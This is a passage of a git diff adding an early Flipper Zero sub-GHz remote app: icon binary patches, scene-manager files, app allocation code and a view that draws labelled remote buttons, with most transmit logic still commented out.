z@W}3o2S1Pu0Dg=RV=z!G0L=cd(B}dAijoE;fxf)`MZ7>P2atZq{2-^{3&71G0q|Mpou9$XIm2ssfWSCRf{>vb5T0(V+6I7hI057V(RMD7C0DLScinK2 zD?A8>kOnE00v^YOJsxbP>@3Apf^02Tc-#9ocEmKhxHN|Dwu@?Yj z*1BG9>lh?VO^%ODdQSPVel+H7`_7ZW`U(p}+toKXxdCD8PFBC`#6&L_rHSKFK%H;V z8KB=0@E%%o(H!8*J5H%h`P41Gq#yx+dBvvQ`q}QMt$y`k-#IvA1To!#fMM8@+6|dK ziGZ+|7L2h907-Rg@rEiKKzmxj7ywj%l{$MrS<>~E)&DO2kZ5OjdzWQ@8`cGm1-nyUk~r&e)@<@CU;-Ph;aE!sE)wYu*lhn8H(gC zH>sRgQq@=ZxQ&{5MX?I-=zZ>Sec%pW$@DmGFczhCGrRya9W8bW+}KPl;4CusNpwLe zE~-(*bYssNt|tsMgJ9P;uUDHxlOxJbaed$nFnoSrUgr9nT>mbbmXJ$$YMyVGO!)ys z__Msiu9IH_Xh7)oI9zxaRM7LrC+yi9S54inVPuq>BybZLZO3?RoE+v@ptx*(4wl7x zkTWJ+be8wrW#LzTml6`pF_swQeWh8&a*--tC%(wb&{uzflkVG;D+PY9W)DA;my+?roODFJ4&$HEsifKn^4E70#2CS+ME&m<6AzKrvh zg)>2Ei4_S#2{t!3T3(M=h`}49M=kmC4x$T^MNVkr4JNqn-i8^c=N6x8FUtAATO19) zecFPU8)yr$yILfw6_BCSo+*KBEl|tvd6z-(BCL8trfF4tpCb>LroBt+_WinhdTKiI zN6=n@D*};CDEC9szS0+@3#BTgA?cR)c;2U_H`{A`gvq9R-4eP*cEB82IT9kC_*NtZ zp5mAimNHdr@8IuX(8DO+WB<4uOsfYFugtYL9z;N<2%#N{;mh_t*Bj z&r##I1#=Yz*lv&>Qq%!)j&Y!H~sgx8OAi<^4n#>>Cau}%fuh~ z%aY$%y{sVeJJsJo_FjVEG`#x$k&r-rohq*|q}GH*HRJ2D)X9X~QHde6?N&JcT@{A^{N zGWTY}Gh3hCFUc%v2+Sl7iH(ZIAMQT9Y)9&c&Th`~&t}Z-n$umut|+Y#S32d|_KV2% z9;Y1-q0$1{0{tk}GX*1BuZtRrUQauD$$H)K&tB4&ymvC8RU|DiP1257c)gHxJGeDv zLgsr__tW>w`I#>=2TMK?KYVUOG=@Iduu{*IZE<;xU>W_GU&V}`ZyU=l%q)DhlrRN3 z7kJM3+(yj-n2aZ{3RjSvSI1lvuFlapQQ&F~Lz2ArtY0%a==@JDvOPZf%}eo)^0yd-cVQ z_wori%Ttrc^^%LSYdFn8FV&1L@wdF$;-_WTHQJOd5A^PfyVA)!BpgP*w`Mur_KY`r z*xWC=Ql224F1Z#ecK8UaSpD0nay#02+Nx?VbKH5ut0rzCzUapD;{!g=sDWNgA3wAo zZZ@+ryt245f`0X<=|Y+aP4pn&+_mwBz6Qj#F@Me}zYNW+@eKP^8m@F=Fz>nK*pdK?zI9eHHo{sWbFSR1NC%2hAbR z?Qd&}doD?Y)FeEzt$g&PuafS(Fbu9UeIcP3V<#D;4s}6SdC&>--Jz}Ct!1fOwxbxd z!=evka4`-Y*?speQst79R!UKFODn1L$LZ%dacqi*1Is6^=ZxdUBa$huObYXU>CZ=I zm6M}R)~-Dv%M4z$6*gRk3%(l1sl^Uk0cD&6q9 z0H#_#F&A;ChV}JEezx2>IrG|zUtuih7%remJKiZLH~SD`VQu_U(paHKVNSNS0pdgY zAY;{XGu_waluL~lvNOj(lJ?!Q!gaM}>C05S%X~HE2YA(eK&j$n38EBX9!A+3K|MS} zp24rS&N=Co(tcRY9PeVizqsyG-{b%B=SOvy+l(64n_1ZklJe*Ml}c61KLc0hB!l?B zTMoJe$I~Bf*7k3G+r2LI?PB@%V|+bv_@`UFTjy(MA(kND)tv3*U+=Gubep%C_b8ev z#>QvM%gYML)GT^*B#ji76^eGg4Rid(nDKuwHMBLlak3M$**CvuEvB=slu@)qWj!c* z2yaqslCSPyAQtXzmUIk+vMO0sLrpdE>4!EAw{4fY)^SaR?`&4}r$V+jA*+{{Ho|q4 z_ObserD>)ZnjP7b7KEkZ0V5BxJ04^~#CqY;c&rEGd<$L=0Jshj>@hTql_eZUCaPn1 zFzR$7h0O*4Jp(!gi}S_PK<;=i0to?Ty{H3&2p$NqleU$H6$Od+CZK|;c)MV0dt9(D zPS*o$pbyfc!`T8vJPiw?6a7g3a5@6~w=SGL-!VhLpuZtBUj+C+L1CCCs^dMdFn3K)EKU^!(||!CQ1*RH4SEa?(}Y8HLH}G}wnM6iCmd~J_K!RE z3IX<}(I{{TBq%6IJxEiXO!b05b#-+i8ZZb9rp897`7=l~EM1M{ulQTR1n-Zd5-2nR znFQKV#JZCMXb3Pn*#Bffr2H#O^8e?g*k=ZzV<`}*y2egczkya(|38#S{1@#{L*xG& z@Bb<6Z_l9MA!ximIe>~|*UnRM#}x&Rq~ftOGS!|;_WOO1w%%kK+25N?0l_rYp`b%n zSR8@0V>$dc#mWk9LGq_zNjSWP2?ER(Q6~^Q;7Bc`rjaR9`S)2BNHb$2 z4GmLGq^`E^Z>|X$7eK_5Xur80|K%S2BX_4Eh!nPG6Fij=i1#p~l8K~IZDKdj&h+2rWiS41e>{oZ^Hg?oM~n|nus@7lwwCs$ z?D1C^P>lR^nmv=VFfp>H_q)5fd2lQ2GLzyiQ{d*V|Ea<2ASCPtaP|Sxo{WhCHW08d LwKgd=cDwXHDN#*w literal 0 HcmV?d00001 diff --git a/applications/external/subghz_remote_new/icons/back_10px.png b/applications/external/subghz_remote_new/icons/back_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..f9c615a99e69c0100b03a9ae7b2df903da4ecd66 GIT binary patch literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVk{1FcVbv~PUa<$!;&U>c zv7h@-A}f&37T^=&`v3obAT#vPO>_%)r1c48n{Iv*t(u1!X;5977~7Co?ed rv9U?Av01aVRT(gMJdt+jXk=uN>R^g!*w%ImsF1<>&pI=m5)cB{fFDGZlI8yr;B3<$MxhJ?+;A4eL&#) z0Ra}bue?07WhLz78x$BO|L3mq-MMxdP^D^#YeY#(Vo9o1a#1RfVlXl=GSoFN)ipE; zF*LF=Hn1|b&^9ozGB8+QQTzo(LvDUbW?CgwgE3G~h=Hk + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) SubRemScene##id, +typedef enum { +#include "subrem_scene_config.h" + SubRemSceneNum, +} SubRemScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers subrem_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "subrem_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "subrem_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "subrem_scene_config.h" +#undef ADD_SCENE diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_config.h b/applications/external/subghz_remote_new/scenes/subrem_scene_config.h new file mode 100644 index 000000000..93d4de642 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(subrem, start, Start) +ADD_SCENE(subrem, openmapfile, OpenMapFile) +ADD_SCENE(subrem, remote, Remote) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c new file mode 100644 index 000000000..8e651a534 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -0,0 +1,26 @@ +#include "../subghz_remote_app_i.h" + +void subrem_scene_openmapfile_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + if(subrem_load_from_file(app)) { + // if(subghz_get_load_type_file(subghz) == SubGhzLoadTypeFileRaw) { + // subghz_rx_key_state_set(subghz, SubGhzRxKeyStateRAWLoad); + // scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReadRAW); + // } else { + // scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSavedMenu); + // } + } else { + scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SubRemSceneStart); + } +} + +bool subrem_scene_openmapfile_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} + +void subrem_scene_openmapfile_on_exit(void* context) { + UNUSED(context); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c new file mode 100644 index 000000000..787a71760 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -0,0 +1,135 @@ +#include "../subghz_remote_app_i.h" +#include "../views/transmitter.h" + +// TODO: +// #include +// #include + +// #include + +void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +bool subrem_scene_remote_update_data_show(void* context) { + SubGhzRemoteApp* app = context; + //UNUSED(app); + bool ret = false; + + subrem_view_remote_add_data_to_show( + //app->subrem_remote_view, "N/A", "N/A", "N/A", "N/A", "N/A"); + app->subrem_remote_view, + "UP", + "DOWN", + "LEFT", + "RIGHT", + "OK"); + // SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(app->txrx); + + // if(decoder) { + // FuriString* key_str = furi_string_alloc(); + // FuriString* frequency_str = furi_string_alloc(); + // FuriString* modulation_str = furi_string_alloc(); + + // if(subghz_protocol_decoder_base_deserialize( + // decoder, subghz_txrx_get_fff_data(app->txrx)) == SubGhzProtocolStatusOk) { + // subghz_protocol_decoder_base_get_string(decoder, key_str); + + // subghz_txrx_get_frequency_and_modulation( + // app->txrx, frequency_str, modulation_str, false); + // subghz_view_transmitter_add_data_to_show( + // app->subghz_transmitter, + // furi_string_get_cstr(key_str), + // furi_string_get_cstr(frequency_str), + // furi_string_get_cstr(modulation_str), + // subghz_txrx_protocol_is_transmittable(app->txrx, false)); + // ret = true; + // } + // furi_string_free(frequency_str); + // furi_string_free(modulation_str); + // furi_string_free(key_str); + // } + return ret; +} + +void subrem_scene_remote_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + // TODO: reset custom btns + // keeloq_reset_original_btn(); + // subghz_custom_btns_reset(); + + // TODO: init view data + + if(!subrem_scene_remote_update_data_show(app)) { + // view_dispatcher_send_custom_event( + // app->view_dispatcher, SubGhzCustomEventViewTransmitterError); + } + subrem_view_remote_set_callback(app->subrem_remote_view, subrem_scene_remote_callback, app); + + // TODO: notifications + // app->state_notifications = SubGhzNotificationStateIDLE; + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDRemote); +} + +bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { + SubGhzRemoteApp* app = context; + if(event.type == SceneManagerEventTypeCustom) { + // if(event.event == SubGhzCustomEventViewTransmitterSendStart) { + // app->state_notifications = SubGhzNotificationStateIDLE; + + // if(subghz_tx_start(app, subghz_txrx_get_fff_data(app->txrx))) { + // app->state_notifications = SubGhzNotificationStateTx; + // subrem_scene_remote_update_data_show(app); + // DOLPHIN_DEED(DolphinDeedSubGhzSend); + // } + // return true; + // } else if(event.event == SubGhzCustomEventViewTransmitterSendStop) { + // app->state_notifications = SubGhzNotificationStateIDLE; + // subghz_txrx_stop(app->txrx); + // if(subghz_custom_btn_get() != 0) { + // subghz_custom_btn_set(0); + // uint8_t tmp_counter = furi_hal_subghz_get_rolling_counter_mult(); + // furi_hal_subghz_set_rolling_counter_mult(0); + // // Calling restore! + // subghz_tx_start(app, subghz_txrx_get_fff_data(app->txrx)); + // subghz_txrx_stop(app->txrx); + // furi_hal_subghz_set_rolling_counter_mult(tmp_counter); + // } + // return true; + // } else + if(event.event == SubRemCustomEventViewRemoteBack) { + // app->state_notifications = SubGhzNotificationStateIDLE; //TODO: notification + scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneStart); + return true; + } + // else if(event.event == SubGhzCustomEventViewTransmitterError) { + // furi_string_set(app->error_str, "Protocol not\nfound!"); + // scene_manager_next_scene(app->scene_manager, SubGhzSceneShowErrorSub); + // } + } else if(event.type == SceneManagerEventTypeTick) { + // if(app->state_notifications == SubGhzNotificationStateTx) { + // notification_message(app->notifications, &sequence_blink_magenta_10); + // } + // return true; + } + return false; +} + +void subrem_scene_remote_on_exit(void* context) { + SubGhzRemoteApp* app = context; + UNUSED(app); + // TODO: notifications and reset KL + + //app->state_notifications = SubGhzNotificationStateIDLE; + + // keeloq_reset_mfname(); + // keeloq_reset_kl_type(); + // keeloq_reset_original_btn(); + // subghz_custom_btns_reset(); + // star_line_reset_mfname(); + // star_line_reset_kl_type(); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c new file mode 100644 index 000000000..0ad9837e9 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -0,0 +1,93 @@ +#include "../subghz_remote_app_i.h" +#include "../helpers/subrem_custom_event.h" + +void subrem_scene_start_submenu_callback(void* context, uint32_t index) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void subrem_scene_start_on_enter(void* context) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + Submenu* submenu = app->submenu; + submenu_add_item( + submenu, + "Open Map File", + SubmenuIndexOpenMapFile, + subrem_scene_start_submenu_callback, + app); + submenu_add_item( + submenu, "Remote", SubmenuIndexOpenView, subrem_scene_start_submenu_callback, app); + // submenu_add_item( + // submenu, + // "ISP Programmer", + // SubmenuIndexSubGhzRemoteProgrammer, + // subrem_scene_start_submenu_callback, + // app); + // submenu_add_item( + // submenu, + // "Wiring", + // SubmenuIndexAvrIsWiring, + // subrem_scene_start_submenu_callback, + // app); + // submenu_add_item( + // submenu, + // "About", + // SubmenuIndexSubGhzRemoteAbout, + // subrem_scene_start_submenu_callback, + // app); + + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); + + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewSubmenu); +} + +bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexOpenMapFile) { + scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); + consumed = true; + } else if(event.event == SubmenuIndexOpenView) { + scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); + consumed = true; + } + // } else if(event.event == SubmenuIndexSubGhzRemoteProgrammer) { + // scene_manager_set_scene_state( + // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewProgrammer); + // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); + // consumed = true; + // } else if(event.event == SubmenuIndexSubGhzRemoteReader) { + // scene_manager_set_scene_state( + // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewReader); + // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); + // consumed = true; + // } else if(event.event == SubmenuIndexSubGhzRemoteWriter) { + // scene_manager_set_scene_state( + // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewWriter); + // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); + // consumed = true; + // } else if(event.event == SubmenuIndexAvrIsWiring) { + // scene_manager_next_scene(app->scene_manager, SubRemSceneWiring); + // consumed = true; + // } + scene_manager_set_scene_state(app->scene_manager, SubRemSceneStart, event.event); + } + + return consumed; +} + +void subrem_scene_start_on_exit(void* context) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + submenu_reset(app->submenu); +} diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c new file mode 100644 index 000000000..d25e65ce7 --- /dev/null +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -0,0 +1,181 @@ +#include "subghz_remote_app_i.h" + +static bool subghz_remote_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + SubGhzRemoteApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool subghz_remote_app_back_event_callback(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void subghz_remote_app_tick_event_callback(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +SubGhzRemoteApp* subghz_remote_app_alloc() { + SubGhzRemoteApp* app = malloc(sizeof(SubGhzRemoteApp)); + + // // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering + // uint8_t attempts = 0; + // while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + // furi_hal_power_enable_otg(); + // furi_delay_ms(10); + // } + + app->file_path = furi_string_alloc(); + furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); + //app->error = SubGhzRemoteErrorNoError; + + // GUI + app->gui = furi_record_open(RECORD_GUI); + + // View Dispatcher + app->view_dispatcher = view_dispatcher_alloc(); + app->scene_manager = scene_manager_alloc(&subrem_scene_handlers, app); + view_dispatcher_enable_queue(app->view_dispatcher); + + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, subghz_remote_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, subghz_remote_app_back_event_callback); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, subghz_remote_app_tick_event_callback, 100); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + // Open Notification record + app->notifications = furi_record_open(RECORD_NOTIFICATION); + + // SubMenu + app->submenu = submenu_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, SubRemViewSubmenu, submenu_get_view(app->submenu)); + + // Widget + app->widget = widget_alloc(); + view_dispatcher_add_view(app->view_dispatcher, SubRemViewWidget, widget_get_view(app->widget)); + + // Text Input + app->text_input = text_input_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, SubRemViewTextInput, text_input_get_view(app->text_input)); + + // Popup + app->popup = popup_alloc(); + view_dispatcher_add_view(app->view_dispatcher, SubRemViewPopup, popup_get_view(app->popup)); + + //Dialog + app->dialogs = furi_record_open(RECORD_DIALOGS); + + // Remote view + app->subrem_remote_view = subrem_view_remote_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + SubRemViewIDRemote, + subrem_view_remote_get_view(app->subrem_remote_view)); + /* + // Reader view + app->subghz_remote_reader_view = subghz_remote_reader_view_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + SubRemViewReader, + subghz_remote_reader_view_get_view(app->subghz_remote_reader_view)); + + // Writer view + app->subghz_remote_writer_view = subghz_remote_writer_view_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + SubRemViewWriter, + subghz_remote_writer_view_get_view(app->subghz_remote_writer_view)); + + // Chip detect view + app->subghz_remote_chip_detect_view = subghz_remote_chip_detect_view_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + SubRemViewChipDetect, + subghz_remote_chip_detect_view_get_view(app->subghz_remote_chip_detect_view)); +*/ + scene_manager_next_scene(app->scene_manager, SubRemSceneStart); + + return app; +} + +void subghz_remote_app_free(SubGhzRemoteApp* app) { + furi_assert(app); + + // Submenu + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewSubmenu); + submenu_free(app->submenu); + + // Widget + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewWidget); + widget_free(app->widget); + + // TextInput + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewTextInput); + text_input_free(app->text_input); + + // Popup + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewPopup); + popup_free(app->popup); + + //Dialog + furi_record_close(RECORD_DIALOGS); + + // Remote view + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); + subrem_view_remote_free(app->subrem_remote_view); + + // // Reader view + // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewReader); + // subghz_remote_reader_view_free(app->subghz_remote_reader_view); + + // // Writer view + // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewWriter); + // subghz_remote_writer_view_free(app->subghz_remote_writer_view); + + // // Chip detect view + // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewChipDetect); + // subghz_remote_chip_detect_view_free(app->subghz_remote_chip_detect_view); + + // // View dispatcher + // view_dispatcher_free(app->view_dispatcher); + // scene_manager_free(app->scene_manager); + + // Notifications + furi_record_close(RECORD_NOTIFICATION); + app->notifications = NULL; + + // Close records + furi_record_close(RECORD_GUI); + + // Path strings + furi_string_free(app->file_path); + + // Disable 5v power + // if(furi_hal_power_is_otg_enabled()) { + // furi_hal_power_disable_otg(); + // } + + free(app); +} + +int32_t subghz_remote_app(void* p) { + UNUSED(p); + SubGhzRemoteApp* subghz_remote_app = subghz_remote_app_alloc(); + + furi_string_set(subghz_remote_app->file_path, SUBREM_APP_FOLDER); + + view_dispatcher_run(subghz_remote_app->view_dispatcher); + + subghz_remote_app_free(subghz_remote_app); + + return 0; +} diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c new file mode 100644 index 000000000..43bdd73f3 --- /dev/null +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -0,0 +1,28 @@ +#include "subghz_remote_app_i.h" +#include +#include + +#define TAG "SubGhzRemote" + +bool subrem_load_from_file(SubGhzRemoteApp* app) { + furi_assert(app); + + FuriString* file_path = furi_string_alloc(); + + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_sub1_10px); + browser_options.base_path = SUBREM_APP_FOLDER; + + // Input events and views are managed by file_select + bool res = + dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); + + if(res) { + // res = subghz_key_load(app, furi_string_get_cstr(app->file_path), true); + res = false; + } + + furi_string_free(file_path); + + return res; +} diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h new file mode 100644 index 000000000..bc8c61cdd --- /dev/null +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -0,0 +1,53 @@ +#pragma once + +#include "helpers/subrem_types.h" + +#include "views/transmitter.h" + +#include "scenes/subrem_scene.h" + +#include // TODO: +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// #include "views/subghz_remote_view_programmer.h" +// #include "views/subghz_remote_view_reader.h" +// #include "views/subghz_remote_view_writer.h" +// #include "views/subghz_remote_view_chip_detect.h" + +#define SUBREM_APP_EXTENSION ".txt" +#define SUBREM_APP_FOLDER "/ext/subghz_remote" +#define SUBGHZ_REMOTE_MAX_LEN_NAME 64 + +typedef struct { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + NotificationApp* notifications; + DialogsApp* dialogs; + Popup* popup; + Submenu* submenu; + Widget* widget; + TextInput* text_input; + FuriString* file_path; + char file_name_tmp[SUBGHZ_REMOTE_MAX_LEN_NAME]; + + SubRemViewRemote* subrem_remote_view; + + // AvrIspProgrammerView* subghz_remote_programmer_view; + // AvrIspReaderView* subghz_remote_reader_view; + // AvrIspWriterView* subghz_remote_writer_view; + // AvrIspChipDetectView* subghz_remote_chip_detect_view; + + // AvrIspError error; +} SubGhzRemoteApp; + +bool subrem_load_from_file(SubGhzRemoteApp* app); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.c b/applications/external/subghz_remote_new/views/transmitter.c new file mode 100644 index 000000000..a3589339d --- /dev/null +++ b/applications/external/subghz_remote_new/views/transmitter.c @@ -0,0 +1,277 @@ +#include "transmitter.h" +#include "../subghz_remote_app_i.h" + +#include +#include + +#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 16 +struct SubRemViewRemote { + View* view; + SubRemViewRemoteCallback callback; + void* context; +}; +// FIXME: drop +// static char* char_to_str(char* str, int i) { +// char* converted = malloc(sizeof(char) * i + 1); +// memcpy(converted, str, i); + +// converted[i] = '\0'; + +// return converted; +// } + +// TODO: model + +typedef struct { + // FuriString* up_label; + // FuriString* down_label; + // FuriString* left_label; + // FuriString* right_label; + // FuriString* ok_label; + + char* up_label; + char* down_label; + char* left_label; + char* right_label; + char* ok_label; + + uint8_t pressed_btn; + // bool show_button; + // FuriString* temp_button_id; + // bool draw_temp_button; +} SubRemViewRemoteModel; + +void subrem_view_remote_set_callback( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteCallback callback, + void* context) { + furi_assert(subrem_view_remote); + + subrem_view_remote->callback = callback; + subrem_view_remote->context = context; +} + +void subrem_view_remote_add_data_to_show( + SubRemViewRemote* subrem_view_remote, + const char* up_label, + const char* down_label, + const char* left_label, + const char* right_label, + const char* ok_label) { + furi_assert(subrem_view_remote); + + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { + strncpy(model->up_label, up_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->down_label, down_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->left_label, left_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->right_label, right_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->ok_label, ok_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + + // model->up_label = char_to_str((char*)up_label, 16); + // model->down_label = char_to_str((char*)down_label, 16); + // model->left_label = char_to_str((char*)left_label, 16); + // model->right_label = char_to_str((char*)right_label, 16); + // model->ok_label = char_to_str((char*)ok_label, 16); + + // furi_string_set(model->up_label, up_label); + // furi_string_set(model->down_label, down_label); + // furi_string_set(model->left_label, left_label); + // furi_string_set(model->right_label, right_label); + // furi_string_set(model->ok_label, ok_label); + }, + true); +} + +void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + + //map found, draw all the things + canvas_clear(canvas); + + //canvas_set_font(canvas, FontPrimary); + //canvas_draw_str(canvas, 0, 10, "U: "); + //canvas_draw_str(canvas, 0, 20, "L: "); + //canvas_draw_str(canvas, 0, 30, "R: "); + //canvas_draw_str(canvas, 0, 40, "D: "); + //canvas_draw_str(canvas, 0, 50, "Ok: "); + + //PNGs are located in assets/icons/SubGHzRemote before compilation + + //Icons for Labels + //canvas_draw_icon(canvas, 0, 0, &I_SubGHzRemote_LeftAlignedButtons_9x64); + canvas_draw_icon(canvas, 1, 5, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 15, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 23, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 33, &I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 42, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 53, &I_back_10px); + + //Labels + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 10, 10, model->up_label); + canvas_draw_str(canvas, 10, 20, model->down_label); + canvas_draw_str(canvas, 10, 30, model->left_label); + canvas_draw_str(canvas, 10, 40, model->right_label); + canvas_draw_str(canvas, 10, 50, model->ok_label); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); + + canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); + + //Status text and indicator + // canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, app->send_status); + + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + switch(model->pressed_btn) { + case 0: + break; + case 1: + canvas_draw_icon(canvas, 116, 17, &I_Pin_arrow_up_7x9); + break; + case 2: + canvas_draw_icon_ex(canvas, 116, 17, &I_Pin_arrow_up_7x9, IconRotation180); + break; + case 3: + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); + break; + case 4: + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); + break; + case 5: + canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); + break; + } + + //Repeat indicator + //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); + //canvas_draw_icon(canvas, 115, 39, &I_SubGHzRemote_Repeat_12x14); + //canvas_draw_str_aligned(canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); +} + +bool subrem_view_remote_input(InputEvent* event, void* context) { + furi_assert(context); + SubRemViewRemote* subrem_view_remote = context; + + if(event->key == InputKeyBack && event->type == InputTypeLong) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { + strcpy(model->up_label, "N/A"); + strcpy(model->down_label, "N/A"); + strcpy(model->left_label, "N/A"); + strcpy(model->right_label, "N/A"); + strcpy(model->ok_label, "N/A"); + + // furi_string_reset(model->up_label); + // furi_string_reset(model->down_label); + // furi_string_reset(model->left_label); + // furi_string_reset(model->right_label); + // 